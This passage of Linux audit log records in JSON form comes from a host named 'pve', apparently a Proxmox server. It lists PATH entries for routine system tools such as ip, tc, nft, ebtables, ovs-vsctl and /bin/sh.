ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PATH msg=audit(1781965076.697:64076): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PATH msg=audit(1781965076.697:64075): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076449,"@rawstring":"node=pve type=PATH msg=audit(1781965076.449:64074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076449,"@rawstring":"node=pve type=PATH msg=audit(1781965076.449:64074): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076444,"@rawstring":"node=pve type=PATH msg=audit(1781965076.444:64073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076444,"@rawstring":"node=pve type=PATH msg=audit(1781965076.444:64073): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076440,"@rawstring":"node=pve type=PATH msg=audit(1781965076.440:64072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076440,"@rawstring":"node=pve type=PATH msg=audit(1781965076.440:64072): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076437,"@rawstring":"node=pve type=PATH msg=audit(1781965076.437:64071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076437,"@rawstring":"node=pve type=PATH msg=audit(1781965076.437:64071): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076431,"@rawstring":"node=pve type=PATH msg=audit(1781965076.431:64070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076431,"@rawstring":"node=pve type=PATH msg=audit(1781965076.431:64070): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076427,"@rawstring":"node=pve type=PATH msg=audit(1781965076.427:64069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076427,"@rawstring":"node=pve type=PATH msg=audit(1781965076.427:64069): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076419,"@rawstring":"node=pve type=PATH msg=audit(1781965076.419:64068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076419,"@rawstring":"node=pve type=PATH msg=audit(1781965076.419:64068): item=0 name=\"/sbin/tc\" inode=265450 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076415,"@rawstring":"node=pve type=PATH msg=audit(1781965076.415:64067): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076415,"@rawstring":"node=pve type=PATH msg=audit(1781965076.415:64067): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076384,"@rawstring":"node=pve type=PATH msg=audit(1781965076.384:64066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076384,"@rawstring":"node=pve type=PATH msg=audit(1781965076.384:64066): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076375,"@rawstring":"node=pve type=PATH msg=audit(1781965076.375:64065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076375,"@rawstring":"node=pve type=PATH msg=audit(1781965076.375:64065): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076319,"@rawstring":"node=pve type=PATH msg=audit(1781965076.319:64063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076319,"@rawstring":"node=pve type=PATH msg=audit(1781965076.319:64063): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076310,"@rawstring":"node=pve type=PATH msg=audit(1781965076.310:64062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076310,"@rawstring":"node=pve type=PATH msg=audit(1781965076.310:64062): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076302,"@rawstring":"node=pve type=PATH msg=audit(1781965076.302:64060): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076302,"@rawstring":"node=pve type=PATH msg=audit(1781965076.302:64060): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076292,"@rawstring":"node=pve type=PATH msg=audit(1781965076.292:64059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076292,"@rawstring":"node=pve type=PATH msg=audit(1781965076.292:64059): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=PATH msg=audit(1781965076.277:64058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=PATH msg=audit(1781965076.277:64058): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PATH msg=audit(1781965076.278:64055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PATH msg=audit(1781965076.278:64055): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076280,"@rawstring":"node=pve type=PATH msg=audit(1781965076.280:64057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076280,"@rawstring":"node=pve type=PATH msg=audit(1781965076.280:64057): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PATH msg=audit(1781965076.278:64056): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PATH msg=audit(1781965076.278:64056): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PATH msg=audit(1781965076.278:64056): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=PATH msg=audit(1781965076.277:64054): item=0 name=\"\" inode=4430 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PATH msg=audit(1781965076.272:64053): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PATH msg=audit(1781965076.272:64053): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PATH msg=audit(1781965076.272:64053): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PATH msg=audit(1781965076.272:64052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PATH msg=audit(1781965076.272:64052): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076268,"@rawstring":"node=pve type=PATH msg=audit(1781965076.268:64051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076268,"@rawstring":"node=pve type=PATH msg=audit(1781965076.268:64051): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076271,"@rawstring":"node=pve type=PATH msg=audit(1781965076.271:64050): item=0 name=\"\" inode=4428 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PATH msg=audit(1781965076.270:64049): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PATH msg=audit(1781965076.270:64049): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PATH msg=audit(1781965076.270:64049): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PATH msg=audit(1781965076.270:64048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PATH msg=audit(1781965076.270:64048): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076267,"@rawstring":"node=pve type=PATH msg=audit(1781965076.267:64047): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076267,"@rawstring":"node=pve type=PATH msg=audit(1781965076.267:64047): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076267,"@rawstring":"node=pve type=PATH msg=audit(1781965076.267:64047): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076257,"@rawstring":"node=pve type=PATH msg=audit(1781965076.257:64046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076257,"@rawstring":"node=pve type=PATH msg=audit(1781965076.257:64046): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PATH msg=audit(1781965076.250:64045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PATH msg=audit(1781965076.250:64045): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076251,"@rawstring":"node=pve type=PATH msg=audit(1781965076.251:64044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076251,"@rawstring":"node=pve type=PATH msg=audit(1781965076.251:64044): item=0 name=\"/usr/lib/systemd/systemd-sysctl\" inode=263666 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PATH msg=audit(1781965076.250:64043): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PATH msg=audit(1781965076.250:64043): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PATH msg=audit(1781965076.250:64043): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076249,"@rawstring":"node=pve type=PATH msg=audit(1781965076.249:64042): item=0 name=\"\" inode=4424 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076247,"@rawstring":"node=pve type=PATH msg=audit(1781965076.247:64041): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076247,"@rawstring":"node=pve type=PATH msg=audit(1781965076.247:64041): item=0 name=\"/usr/bin/realpath\" inode=260885 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=PATH msg=audit(1781965076.246:64040): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=PATH msg=audit(1781965076.246:64040): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=PATH msg=audit(1781965076.246:64040): item=0 name=\"/usr/lib/udev/virtual-function-naming-helper\" inode=304861 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076243,"@rawstring":"node=pve type=PATH msg=audit(1781965076.243:64039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076243,"@rawstring":"node=pve type=PATH msg=audit(1781965076.243:64039): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076238,"@rawstring":"node=pve type=PATH msg=audit(1781965076.238:64038): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076234,"@rawstring":"node=pve type=PATH msg=audit(1781965076.234:64037): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076228,"@rawstring":"node=pve type=PATH msg=audit(1781965076.228:64036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076228,"@rawstring":"node=pve type=PATH msg=audit(1781965076.228:64036): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076221,"@rawstring":"node=pve type=PATH msg=audit(1781965076.221:64035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076221,"@rawstring":"node=pve type=PATH msg=audit(1781965076.221:64035): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076215,"@rawstring":"node=pve type=PATH msg=audit(1781965076.215:64033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076215,"@rawstring":"node=pve type=PATH msg=audit(1781965076.215:64033): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075853,"@rawstring":"node=pve type=PATH msg=audit(1781965075.853:64032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075853,"@rawstring":"node=pve type=PATH msg=audit(1781965075.853:64032): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075850,"@rawstring":"node=pve type=PATH msg=audit(1781965075.850:64031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075850,"@rawstring":"node=pve type=PATH msg=audit(1781965075.850:64031): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=PATH msg=audit(1781965075.849:64030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=PATH msg=audit(1781965075.849:64030): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=PATH msg=audit(1781965075.849:64029): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075844,"@rawstring":"node=pve type=PATH msg=audit(1781965075.844:64028): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075844,"@rawstring":"node=pve type=PATH msg=audit(1781965075.844:64028): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075844,"@rawstring":"node=pve type=PATH msg=audit(1781965075.844:64028): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075839,"@rawstring":"node=pve type=PATH msg=audit(1781965075.839:64027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075839,"@rawstring":"node=pve type=PATH msg=audit(1781965075.839:64027): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 